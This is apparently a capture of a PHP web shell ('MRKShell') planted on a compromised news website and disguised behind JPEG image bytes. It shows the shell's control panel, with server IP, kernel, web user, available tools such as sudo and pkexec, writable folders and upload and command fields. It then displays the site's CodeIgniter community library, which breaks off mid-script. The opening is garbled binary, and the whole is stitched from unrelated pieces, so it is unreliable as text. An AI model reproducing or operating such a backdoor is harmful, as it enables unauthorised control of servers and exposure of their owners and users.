JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 104.21.73.244  /  Your IP : 172.71.28.167
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/sitio/application/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/sitio/application/libraries/comunidad_library.php
<?php
 if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Comunidad_library
{
	private $CI;
    private $url_seguir_tags;
    private $url_seguir_usuarios;

    
    
    
    
    /*------------------------------------------------------
    Constructor
    ------------------------------------------------------*/
    function __construct($config = NULL)
    {
    	$this->CI = & get_instance();
        if(isset($config['url_seguir_tags']))
        {
            $this->url_seguir_tags = $config['url_seguir_tags'];
        }
        if(isset($config['url_seguir_usuarios']))
        {
            $this->url_seguir_usuarios = $config['url_seguir_usuarios'];
        }
    }

    
    
    
    
    /*------------------------------------------------------
    Para setear atributos de la clase.
    ------------------------------------------------------*/
    public function setter($att,$value)
    {
        $this->$att = $value;
    }

    
    
    
    
    /*------------------------------------------------------
    Para obtener el valor de los atributos de la clase
    ------------------------------------------------------*/
    public function getter($att)
    {
        return $this->$att;
    }
	




    /*------------------------------------------------------
    Imprime funciones javascript para el boton de "seguir tags" y 
    "dejar de seguir tags"
    ------------------------------------------------------*/
    public function js_boton_seguir_tags()
    {
        $content =  "<script>";
        $content .="
        function seguir_tags(tags_id,tags_tipo,texto,simple)
        {
            $('#btn_seguir_tags_'+tags_id).hide();
            $('#loading_'+tags_id).show();
            $.post('".site_url($this->url_seguir_tags)."',{tags_id:tags_id,texto:texto,accion:'seguir',tags_tipo:tags_tipo},
                function(data)
                { 
                    if(data!='error')
                    {
                        if(simple == 0)
                        {
                            $('#btn_seguir_tags_'+tags_id).html('<img width=\"106\" height=\"20\" alt=\"seguir\" src=\"".site_url("img/2012/bot-dejar.png")."\">');
                            $('#btn_seguir_tags_'+tags_id).attr('onclick','dejar_seguir_tags('+tags_id+','+tags_tipo+',\''+texto+'\',\''+simple+'\')');     
                        }
                        else
                        {
                            $('#btn_seguir_tags_'+tags_id).after('<div class=\"siguiendo-tags\">Siguiendo</div>');   
                            $('#btn_seguir_tags_'+tags_id).remove();
                        }
                    }
                    else
                    {
                        if(typeof window.jAlert == 'function')
                        {
                            jAlert('Error de conexión','Error');
                        }
                        else
                        {
                            alert('Error de conexión');
                        }
                    }
                    $('#loading_'+tags_id).hide();
                    $('#btn_seguir_tags_'+tags_id).show();
                });
        }

        function dejar_seguir_tags(tags_id,tags_tipo,texto,simple)
        {
            $('#btn_seguir_tags_'+tags_id).hide();
            $('#loading_'+tags_id).show();        
                
            
            $.post('".site_url($this->url_seguir_tags)."',{tags_id:tags_id,texto:texto,accion:'dejar_seguir',tags_tipo:tags_tipo},
                function(data)
                { 
                    if(data!='error')
                    {
                        $('#btn_seguir_tags_'+tags_id).html('<img width=\"59\" height=\"20\" alt=\"seguir\" src=\"".site_url("img/2012/bot-seguir-ch.png")."\">');
                        $('#btn_seguir_tags_'+tags_id).attr('onclick','seguir_tags('+tags_id+','+tags_tipo+',\''+texto+'\',\''+simple+'\')');
                    }
                    else
                    {
                        if(typeof window.jAlert == 'function')
                        {
                            jAlert('Error de conexión','Error');
                        }
                        else
                        {
                            alert('Error de conexión');
                        }
                    }
                    $('#loading_'+tags_id).hide();
                    $('#btn_seguir_tags_'+tags_id).show();
                });
        }
        ";
        $content .="</script>";

        return $content;
    }






    /*------------------------------------------------------
    Imprime funciones javascript para el boton de "seguir usuarios" y 
    "dejar de seguir usuarios"
    ------------------------------------------------------*/
    public function js_boton_seguir_usuarios()
    {
        $content =  "<script>";
        $content .="
        function seguir_usuario(usuario_id,texto,simple,tipo)
        {

            $('#btn_seguir_user_'+usuario_id).hide();
            $('#loading_'+usuario_id).show();

            $.post('".site_url($this->url_seguir_usuarios)."',{usuario_id:usuario_id,texto:texto,accion:'seguir',tipo_usuario:tipo},
                function(data)
                { 
                    if(data!='error')
                    {
                        if(simple == 0)
                        {
                            $('#btn_seguir_user_'+usuario_id).html('<img width=\"106\" height=\"20\" alt=\"seguir\" src=\"".site_url("img/2012/bot-dejar.png")."\">');
                            $('#btn_seguir_user_'+usuario_id).attr('onclick','dejar_seguir_usuario('+usuario_id+',\''+texto+'\',\''+simple+'\')');     
                        }
                        else
                        {
                            $('#btn_seguir_user_'+usuario_id).after('<div class=\"siguiendo-usuarios\">Siguiendo</div>');   
                            $('#btn_seguir_user_'+usuario_id).remove();
                        }
                    }
                    else
                    {
                        if(typeof window.jAlert == 'function')
                        {
                            jAlert('Error de conexión','Error');
                        }
                        else
                        {
                            alert('Error de conexión');
                        }
                    }
                    $('#loading_'+usuario_id).hide();
                    $('#btn_seguir_user_'+usuario_id).show();
                });
        }

        function dejar_seguir_usuario(usuario_id,texto,simple)
        {
            $('#btn_seguir_user_'+usuario_id).hide();
            $('#loading_'+usuario_id).show();
            $.post('".site_url($this->url_seguir_usuarios)."',{usuario_id:usuario_id,texto:texto,accion:'dejar_seguir'},
                function(data)
                { 
                    if(data!='error')
                    {
                        $('#btn_seguir_user_'+usuario_id).html('<img width=\"59\" height=\"20\" alt=\"seguir\" src=\"".site_url("img/2012/bot-seguir-ch.png")."\">');
                        $('#btn_seguir_user_'+usuario_id).attr('onclick','seguir_usuario('+usuario_id+',\''+texto+'\',\''+simple+'\')'); 
                    }
                    else
                    {
                        if(typeof window.jAlert == 'function')
                        {
                            jAlert('Error de conexión','Error');
                        }
                        else
                        {
                            alert('Error de conexión');
                        }
                    }
                    $('#loading_'+usuario_id).hide();
                    $('#btn_seguir_user_'+usuario_id).show();
                });
        }
        ";
        $content .="</script>";

        /*$content .='<style>';
        $content .='.btn_seguir_user{
            background:#20808E; color:#fff; border:0px; margin:10px; height:30px; padding:4px; width:auto; cursor:pointer;   
        }
        .siguiendo-usuarios{ font-style:italic;}';
        $content .='</style>';*/

        return $content;
    }

    public function js_boton_seguir_usuarios_perfil()
    {
        $content =  "<script>";
        $content .="
        function seguir_usuario(usuario_id,texto,tipo)
        {
            $('#btn_seguir_user_'+usuario_id).hide();
            $('#loading_'+usuario_id).show();
            $.post('".site_url($this->url_seguir_usuarios)."',{usuario_id:usuario_id,texto:texto,accion:'seguir',tipo_usuario:tipo},
                function(data)
                { 
                    if(data!='error')
                    {
                        $('#btn_seguir_user_'+usuario_id).html('<input type=\"button\" class=\"inazul\" value=\"Siguiendo\" style=\"padding-left:32px; margin-right:0;\"><div class=\"icoseguir\" id=\"fondo_seguir_'+usuario_id+'\"></div>');
                        $('#btn_seguir_user_'+usuario_id).attr('onclick','dejar_seguir_usuario('+usuario_id+',\''+texto+'\')');     
                        
                    }
                    else
                    {
                        if(typeof window.jAlert == 'function')
                        {
                            jAlert('Error de conexión','Error');
                        }
                        else
                        {
                            alert('Error de conexión');
                        }
                    }
                    $('#loading_'+usuario_id).hide();
                    $('#btn_seguir_user_'+usuario_id).show();
                });
        }

        function dejar_seguir_usuario(usuario_id,texto)
        {
            $('#btn_seguir_user_'+usuario_id).hide();
            $('#loading_'+usuario_id).show();
            $.post('".site_url($this->url_seguir_usuarios)."',{usuario_id:usuario_id,texto:texto,accion:'dejar_seguir'},
                function(data)
                { 
                    if(data!='error')
                    {
                        $('#btn_seguir_user_'+usuario_id).html('<input type=\"button\" class=\"inazul\" value=\"Seguir\" style=\"padding-left:32px; margin-right:0;\"><div class=\"icoseguir\" id=\"fondo_seguir_'+usuario_id+'\"></div>');
                        $('#btn_seguir_user_'+usuario_id).attr('onclick','seguir_usuario('+usuario_id+',\''+texto+'\')'); 
                    }
                    else
                    {
                        if(typeof window.jAlert == 'function')
                        {
                            jAlert('Error de conexión','Error');
                        }
                        else
                        {
                            alert('Error de conexión');
                        }
                    }
                    $('#loading_'+usuario_id).hide();
                    $('#btn_seguir_user_'+usuario_id).show();
                });
        }
        ";
        $content .="</script>";

        /*$content .='<style>';
        $content .='.btn_seguir_user{
            background:#20808E; color:#fff; border:0px; margin:10px; height:30px; padding:4px; width:auto; cursor:pointer;   
        }
        .siguiendo-usuarios{ font-style:italic;}';
        $content .='</style>';*/

        return $content;
    }





    /*------------------------------------------------------
    Imprime boton "Seguir Tags" o "Siguiendo Tags".
    ------------------------------------------------------*/
    public function boton_seguir_tag($tags_id,$tags_tipo,$texto='',$simple=0)
    {
        $texto = str_replace('"','',$texto); 

        if($this->CI->session->userdata('usuario'))
        {
            $u = $this->CI->session->userdata('usuario');
            $arr = array(0,-4);
            if(!in_array($u['perfil_id'],$arr))
            {
                if(in_array($tags_id, $u['siguiendo_tags']))
                {
                    if($simple == 1)
                    {
                        //retorno solo el texto, indicando que ya sigue al tags
                        return '<div class="siguiendo-tags">Siguiendo</div>';
                    }
                    else
                    {
                        //retorno el boton que indica que ya esta siguiendo,
                        //pero da la posibilidad de dejar de seguir.
                        $btn_dejar_seguir = '<a id="btn_seguir_tags_'.$tags_id.'" class="fr" title="Seguir sección" href="javascript:void(0)" onclick="dejar_seguir_tags('.$tags_id.','.$tags_tipo.',\''.$texto.'\','.$simple.');">';
                        $btn_dejar_seguir .= '<img width="106" height="20" alt="seguir" src="'.site_url("img/2012/bot-dejar.png").'">';
                        $btn_dejar_seguir .= '</a>';
                        $btn_dejar_seguir .= '<img src="'.site_url("img/2012/loading.gif").'" style="display: none;" id="loading_'.$tags_id.'">';
                        return $btn_dejar_seguir;
                    }
                }
                else
                {
                    //retorno el boton para seguir el tags
                    $btn_seguir = '<a id="btn_seguir_tags_'.$tags_id.'" class="fr" title="Seguir sección" href="javascript:void(0)" onclick="seguir_tags('.$tags_id.','.$tags_tipo.',\''.$texto.'\','.$simple.');">';
                    $btn_seguir .= '<img width="59" height="20" alt="seguir" src="'.site_url("img/2012/bot-seguir-ch.png").'">';
                    $btn_seguir .= '</a>';
                    $btn_seguir .= '<img src="'.site_url("img/2012/loading.gif").'" style="display: none;" id="loading_'.$tags_id.'">';
                    return $btn_seguir;
                    //return '<input type="button" onclick="seguir_tags('.$tags_id.','.$tags_tipo.',\''.$texto.'\','.$simple.');" name="btn_seguir_tags_'.$tags_id.'" id="btn_seguir_tags_'.$tags_id.'" class="btn_seguir_tags" value="Seguir '.$texto.'"/>';
                }
            }
        }
        else
        {
            //retorno el boton para seguir el tags pero te invita a loguearte
            $btn_seguir = '<a class="fr" title="Inicia sesión" href="javascript:void(0)" onclick="popup_login()">';
            $btn_seguir .= '<img width="59" height="20" alt="seguir" src="'.site_url("img/2012/bot-seguir-ch.png").'">';
            $btn_seguir .= '</a>';
            return $btn_seguir;
            //return false;
        }
    }





    /*------------------------------------------------------
    Imprime boton "Seguir Usuario" o "Siguiendo Usuario".
    ------------------------------------------------------*/
    public function boton_seguir_usuario($user_id,$texto='',$simple=0, $tipo=4)
    {
        $texto = str_replace('"','',$texto); 

        if($this->CI->session->userdata('usuario'))
        {
            $u = $this->CI->session->userdata('usuario');
            $arr = array(0,-4);

            if($tipo == 2)
            {
                $verificador = $u['siguiendo_periodistas'];
            }
            else
            {
                $verificador = $u['siguiendo_usuarios'];
            }

            if(!in_array($u['perfil_id'],$arr))
            {
                if(in_array($user_id, $verificador))
                {
                    if($simple == 1)
                    {
                        //retorno solo el texto, indicando que ya sigue al asuario
                        return '<div class="siguiendo-usuarios">Siguiendo</div>';
                    }
                    else
                    {
                        //retorno el boton que indica que ya esta siguiendo,
                        //pero da la posibilidad de dejar de seguir.
                        //return '<input type="button" onclick="dejar_seguir_usuario('.$user_id.',\''.$texto.'\','.$simple.');" name="btn_seguir_user_'.$user_id.'" id="btn_seguir_user_'.$user_id.'" class="btn_seguir_user" value="Siguiendo a '.$texto.'"/>';
                        $btn_dejar_seguir = '<a id="btn_seguir_user_'.$user_id.'" class="fr" title="Dejar de seguir usuario" href="javascript:void(0)" onclick="dejar_seguir_usuario('.$user_id.',\''.$texto.'\','.$simple.');">';
                        $btn_dejar_seguir .= '<img width="106" height="20" alt="seguir" src="'.site_url("img/2012/bot-dejar.png").'">';
                        $btn_dejar_seguir .= '</a>';
                        $btn_dejar_seguir .= '<img src="'.site_url("img/2012/loading.gif").'" style="display: none;" id="loading_'.$user_id.'">';
                        return $btn_dejar_seguir;
                    }
                }
                else
                {
                    //retorno el boton para seguir el tags
                    //return '<input type="button" onclick="seguir_usuario('.$user_id.',\''.$texto.'\','.$simple.');" name="btn_seguir_user_'.$user_id.'" id="btn_seguir_user_'.$user_id.'" class="btn_seguir_user" value="Seguir a '.$texto.'"/>';
                     $btn_seguir = '<a id="btn_seguir_user_'.$user_id.'" class="fr" title="Seguir usuario" href="javascript:void(0)" onclick="seguir_usuario('.$user_id.',\''.$texto.'\','.$simple.','.$tipo.');">';
                    $btn_seguir .= '<img width="59" height="20" alt="seguir" src="'.site_url("img/2012/bot-seguir-ch.png").'">';
                    $btn_seguir .= '</a>';
                    $btn_seguir .= '<img src="'.site_url("img/2012/loading.gif").'" style="display: none;" id="loading_'.$user_id.'">';
                    return $btn_seguir;
                }
            }
        }
        else
        {
            //retorno el boton para seguir el usuario pero invitandote a loguearte
            $btn_seguir = '<a class="fr" title="Inicia sesión" href="javascript:void(0)" onclick="popup_login()">';
            $btn_seguir .= '<img width="59" height="20" alt="seguir" src="'.site_url("img/2012/bot-seguir-ch.png").'">';
            $btn_seguir .= '</a>';
            return $btn_seguir;
            //return false;
        }
    }

    public function boton_seguir_usuario_perfil($user_id,$texto='',$tipo=4)
    {
        $texto = str_replace('"','',$texto); 

        if($this->CI->session->userdata('usuario'))
        {
            $u = $this->CI->session->userdata('usuario');
            $arr = array(0,-4);

            if($tipo == 2)
            {
                $verificador = $u['siguiendo_periodistas'];
            }
            else
            {
                $verificador = $u['siguiendo_usuarios'];
            }

            if(!in_array($u['perfil_id'],$arr))
            {
                if(in_array($user_id, $verificador))
                {
                    //retorno el boton que indica que ya esta siguiendo,
                    //pero da la posibilidad de dejar de seguir.
                    //return '<input type="button" onclick="dejar_seguir_usuario('.$user_id.',\''.$texto.'\','.$simple.');" name="btn_seguir_user_'.$user_id.'" id="btn_seguir_user_'.$user_id.'" class="btn_seguir_user" value="Siguiendo a '.$texto.'"/>';
                    $btn_dejar_seguir = '<a id="btn_seguir_user_'.$user_id.'" title="Dejar de seguir usuario" href="javascript:void(0)" onclick="dejar_seguir_usuario('.$user_id.',\''.$texto.'\');">';
                    $btn_dejar_seguir .= '<input type="button" class="inazul" value="Siguiendo" style="padding-left:32px; margin-right:0;"><div class="icoseguir" id="fondo_seguir_'.$user_id.'"></div>';
                    $btn_dejar_seguir .= '</a>';
                    $btn_dejar_seguir .= '<img src="'.site_url("img/2012/loading.gif").'" style="display: none;" id="loading_'.$user_id.'">';
                    return $btn_dejar_seguir;
                }
                else
                {
                    //retorno el boton para seguir el tags
                    //return '<input type="button" onclick="seguir_usuario('.$user_id.',\''.$texto.'\','.$simple.');" name="btn_seguir_user_'.$user_id.'" id="btn_seguir_user_'.$user_id.'" class="btn_seguir_user" value="Seguir a '.$texto.'"/>';
                     $btn_seguir = '<a id="btn_seguir_user_'.$user_id.'" title="Seguir usuario" href="javascript:void(0)" onclick="seguir_usuario('.$user_id.',\''.$texto.'\','.$tipo.');">';
                    $btn_seguir .= '<input type="button" class="inazul" value="Seguir" style="padding-left:32px; margin-right:0;"><div class="icoseguir" id="fondo_seguir_'.$user_id.'"></div>';
                    $btn_seguir .= '</a>';
                    $btn_seguir .= '<img src="'.site_url("img/2012/loading.gif").'" style="display: none;" id="loading_'.$user_id.'">';
                    return $btn_seguir;
                }
            }
        }
        else
        {
            //retorno el boton para seguir el usuario pero invitandote a loguearte
            $btn_seguir = '<a title="Inicia sesión" href="javascript:void(0)" onclick="popup_login()">';
            //$btn_seguir .= '<img width="59" height="20" alt="seguir" src="'.site_url("img/2012/bot-seguir-ch.png").'">';
            $btn_seguir .= '<input type="button" class="inazul" value="Seguir" style="padding-left:32px; margin-right:0;">';
            $btn_seguir .= '</a><div class="icoseguir" id="fondo_seguir_'.$user_id.'"></div>';
            return $btn_seguir;
            //return false;
        }
    }




    /*------------------------------------------------------
    Arma el link de un usuario
    ------------------------------------------------------*/
    public function armar_link_usuario($user_id,$user_name,$user_tipo="")
    {
        $this->CI->load->library('varios_library');
        switch ($user_tipo)
          {
            case 2: //periodistas                           
              $link = '<a href="'.site_url('periodistas/'.$user_id.'/'.$this->CI->varios_library->limpiarurl($user_name)).'" class="link-usuario">'.$user_name.'</a>';              
              break;
            case 3: //fotografo
              $link = '<a href="'.site_url('imagenes/fotografo/'.$user_id.'/'.$this->CI->varios_library->limpiarurl($user_name)).'" class="link-usuario">'.$user_name.'</a>';              
              break;            
            default:              
              $link = '<a href="'.site_url('usuarios/'.$user_id.'/'.$this->CI->varios_library->limpiarurl($user_name)).'" class="link-usuario">'.$user_name.'</a>';
              break;
          }
        
        return $link;
    }
    




    /*------------------------------------------------------
    Arma el link de un tags, dependiendo del tipo (seccion,tema,tags)
    ------------------------------------------------------*/
    public function armar_link_tags($tags_id,$tags_tipo,$texto)
    {
        $this->CI->load->library('varios_library');

        if($texto == '')
        {
            $this->CI->load->library('memcached_library');
            $info = $this->CI->memcached_library->get('info_tag_'.$tags_id);
            if(!$info)
            {
                $this->CI->load->model("tag","tag",true);
                $info = $this->CI->tag->dameTag($tags_id);
            }
            $texto = $info['nombre'];
        }

        switch ($tags_tipo)
        {
        
            case 5: //secciones
                $url = site_url($this->CI->varios_library->limpiarurl($texto));
                break;
        
            case 3:// temas
                $url = site_url('tema/'.$tags_id.'/'.$this->CI->varios_library->limpiarurl($texto));
                break;

            case 4:// tags internos
                $url = site_url('tags/'.$tags_id.'/'.$this->CI->varios_library->limpiarurl($texto));
                break;
            
            default:
                $url = site_url('');
                break;
        }

        $link = '<a href="'.$url.'" class="link-tags">'.$texto.'</a>';
        return $link;
    }





    /*------------------------------------------------------
    Arma el link de una nota
    ------------------------------------------------------*/
    public function armar_link_nota($nota_id)
    {
        //consulto si se encuentra en memcached
        $this->CI->load->library('memcached_library');
        $nota = $this->CI->memcached_library->get('nota_'.$nota_id);
        if(!$nota)
        {
            $this->CI->load->model("nota_modelo","nota_modelo",true);
            $nota = $this->CI->nota_modelo->traer_datos_nota_minimos($nota_id);
        }

        if ($nota)
        {
            $this->CI->load->library('varios_library');

            if ($nota['edicion_id'] > 0)
            {
                if (isset($nota['seccion']['0']['url']) and $nota['seccion']['0']['url']!="")
                    $sec_url = $nota['seccion']['0']['url'];
                else
                    $sec_url = $this->CI->varios_library->limpiarurl($nota['seccion']['0']['nombre']);
                $url = site_url('nota/'.$nota_id.'/'.$sec_url.'/'.$this->CI->varios_library->limpiarurl($nota['titulo']).'.html');
                $texto = $nota['titulo'];
            }
            else
            {
                $this->CI->load->model("blog_modelo","blog_modelo",true);
                $url_blog = $this->CI->blog_modelo->dameNombreUrl($nota['seccion']['0']['id']);
                $url = site_url('blogs/'.$url_blog."/".$nota_id.'/'.$this->CI->varios_library->limpiarurl($nota['titulo']).'.html');
                $texto = $nota['titulo'];
            }

            $link = '<a href="'.$url.'" class="link-tags">'.$texto.'</a>';
            return $link;
        }
        else
            return "";
    }

    public function armar_link_video($video_id)
    {
        //consulto si se encuentra en memcached
        $this->CI->load->library('memcached_library');
        $video = $this->CI->memcached_library->get('video_'.$video_id);
        if(!$video)
        {
            $this->CI->load->model("video","video",true);
            $video = $this->CI->video->dameVideo($video_id);
        }

        if ($video)
        {
            $this->CI->load->library('varios_library');

            $url = site_url('video/'.$video_id.'/'.$this->CI->varios_library->limpiarurl($video['titulo']).'.html');
            $texto = $video['titulo'];

            $link = '<a href="'.$url.'" class="link-tags">'.$texto.'</a>';
            return $link;
        }
        else
            return "";
    }

    public function armar_link_encuesta($encuesta_id)
    {
        //consulto si se encuentra en memcached
        $this->CI->load->library('memcached_library');
        $encuesta = $this->CI->memcached_library->get('encuesta_'.$encuesta_id);
        if(!$encuesta)
        {
            $this->CI->load->model("encuesta","encuesta",true);
            $encuesta = $this->CI->encuesta->dameEncuestaMin($encuesta_id);
        }

        if ($encuesta)
        {
            $this->CI->load->library('varios_library');

            $url = site_url('encuestas/'.$encuesta_id.'/'.$this->CI->varios_library->limpiarurl($encuesta['encuesta']).'.html');
            $texto = $encuesta['encuesta'];

            $link = '<a href="'.$url.'" class="link-tags">'.$texto.'</a>';
            return $link;
        }
        else
            return "";
    }

    public function armar_link_foto($foto_id)
    {
        //consulto si se encuentra en memcached
        $this->CI->load->library('memcached_library');
        $foto = $this->CI->memcached_library->get('foto_com_'.$foto_id);
        if(!$foto)
        {
           $this->CI->load->model("foto_modelo","foto_modelo",true);
           $foto = $this->CI->foto_modelo->dameInfoMinima($foto_id);
           $this->CI->memcached_library->add('foto_com_'.$foto_id,$foto,900);
        }

        if ($foto)
        {
            $this->CI->load->library('varios_library');
            if ($foto['titulo']=="")
            {
                $titulo = $foto['galeria_titulo'];
            }
            else
                $titulo = $foto['titulo'];

            if ($foto['galeria_tipo']==1)
            {
                $url = site_url('imagenes/fotos/'.$foto['galeria_id']."-".$foto_id.'/'.$this->CI->varios_library->limpiarurl($titulo).'.html');
            }
            elseif ($foto['galeria_tipo']==4)
            {
                $url = site_url('concurso/'.$foto['galeria_id']."/foto/".$foto_id.'/'.$this->CI->varios_library->limpiarurl($titulo).'.html');
            }
            else
                $url = site_url('foto/'.$foto['galeria_id']."/".$foto_id.'/'.$this->CI->varios_library->limpiarurl($titulo).'.html');
            
            $texto = $titulo;

            $link = '<a href="'.$url.'" class="link-tags">'.$texto.'</a>';
            return $link;
        }
        else
            return "";
    }


    public function armar_link_evento($evento_id)
    {
        //consulto si se encuentra en memcached
        $this->CI->load->library('memcached_library');
        $evento = $this->CI->memcached_library->get('evento_'.$evento_id);
        if(!$evento)
        {
            $this->CI->load->model("evento","evento",true);
            $evento = $this->CI->evento->dameMinEvento($evento_id);
        }

        if ($evento)
        {
            $this->CI->load->library('varios_library');

            $url = site_url('evento/'.$evento_id.'/'.$this->CI->varios_library->limpiarurl($evento['titulo']).'.html');
            $texto = $evento['titulo'];

            $link = '<a href="'.$url.'" class="link-tags">'.$texto.'</a>';
            return $link;
        }
        else
            return "";
    }

    public function armar_link_convocatoria($conv_id)
    {
        //consulto si se encuentra en memcached
        $this->CI->load->library('memcached_library');
        $convocatoria = $this->CI->memcached_library->get('convocatoria_'.$conv_id);
        if(!$convocatoria)
        {
            $this->CI->load->model("encuesta","encuesta",true);
            $convocatoria = $this->CI->encuesta->dameMinConvocatoria($conv_id);
        }

        if ($convocatoria)
        {
            $this->CI->load->library('varios_library');

            $url = site_url('tuvoz/'.$conv_id.'/'.$this->CI->varios_library->limpiarurl($convocatoria['titulo']).'.html');
            $texto = $convocatoria['titulo'];

            $link = '<a href="'.$url.'" class="link-tags">'.$texto.'</a>';
            return $link;
        }
        else
            return "";
    }

    public function armar_link_concurso($concurso_id)
    {
        //consulto si se encuentra en memcached
        $this->CI->load->library('memcached_library');
        $concurso = $this->CI->memcached_library->get('concurso_'.$concurso_id);
        if(!$concurso)
        {
            $this->CI->load->model("concurso","concurso",true);
            $concurso = $this->concurso->buscarPorId($concurso_id);
        }

        if ($concurso)
        {
            $this->CI->load->library('varios_library');

            $url = site_url('concurso/'.$concurso_id.'/'.$this->CI->varios_library->limpiarurl($concurso['titulo']).'.html');
            $texto = $concurso['titulo'];

            $link = '<a href="'.$url.'" class="link-tags">'.$texto.'</a>';
            return $link;
        }
        else
            return "";
    }


    /*------------------------------------------------------
    Retorna el html del boton notificador. Este boton desplega
    las ultimas notificaciones y consulta cada un minuto
    por notificaciones nuevas
    ------------------------------------------------------*/
    public function mostrar_notificador()
    {
        if($this->CI->session->userdata('usuario'))
        {
            $u = $this->CI->session->userdata('usuario');
            //$this->CI->load->model('comunidad_modelo');
            //$this->CI->comunidad_modelo->setter('path_solr','/solr/core2');
            //$this->CI->comunidad_modelo->setter('port_solr',8984);
            $content = '<script>
                            function mostrar_notificaciones()
                            {
                                va = $(\'#not-list\').css(\'display\');
                                if(va == \'none\')
                                {
                                    $(\'#not-list\').css(\'display\',\'block\');
                                    $.post(\''.site_url('usuarios/actualizar_fun').'\');
                                    $(\'#not-cat-num\').html(\'0\');
                                    $(\'#not-cant\').hide();
                                    $(\'.triangulito\').show();
                                }
                                else
